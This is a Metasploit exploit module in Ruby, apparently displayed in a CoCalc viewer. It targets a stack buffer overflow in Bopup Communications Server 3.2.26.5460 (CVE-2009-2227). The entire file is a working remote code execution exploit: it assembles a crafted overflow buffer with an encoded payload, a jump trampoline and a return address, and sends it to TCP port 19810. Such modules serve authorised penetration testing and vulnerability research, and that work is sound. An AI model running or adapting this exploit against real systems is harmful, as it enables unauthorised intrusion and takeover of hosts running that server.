CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Bopup Communications Server Buffer Overflow',
14
      'Description'    => %q{
15
          This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.
16
          By sending a specially crafted packet, an attacker may be
17
          able to execute arbitrary code.
18
      },
19
      'Author'         => [ 'MC' ],
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'CVE', '2009-2227' ],
24
          [ 'OSVDB', '55275' ],
25
          [ 'URL', 'http://www.blabsoft.com/products/server' ],
26
          [ 'EDB', '9002' ]
27
        ],
28
      'DefaultOptions' =>
29
        {
30
          'EXITFUNC' => 'thread',
31
        },
32
      'Payload'        =>
33
        {
34
          'Space'    => 417,
35
          'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
36
          'StackAdjustment' => -3500,
37
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
38
        },
39
      'Platform'       => 'win',
40
      'Targets'        =>
41
        [
42
          [ 'Bopup Communications Server 3.2.26.5460',   { 'Ret' => 0x0041add2 } ],
43
        ],
44
      'Privileged'     => true,
45
      'DefaultTarget'  => 0,
46
      'DisclosureDate' => '2009-06-18'))
47

48
    register_options(
49
      [
50
        Opt::RPORT(19810)
51
      ])
52
  end
53

54
  def exploit
55
    connect
56

57
    sploit =  [0x00000001].pack('V')
58
    sploit << rand_text_alpha_upper(829 - payload.encoded.length)
59
    sploit << payload.encoded
60
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string
61
    sploit << rand_text_alpha_upper(27)
62
    sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)
63
    sploit << [target.ret].pack('V')
64

65
    print_status("Trying target #{target.name}...")
66
    sock.put(sploit)
67

68
    handler
69
    disconnect
70
  end
71
end
72

73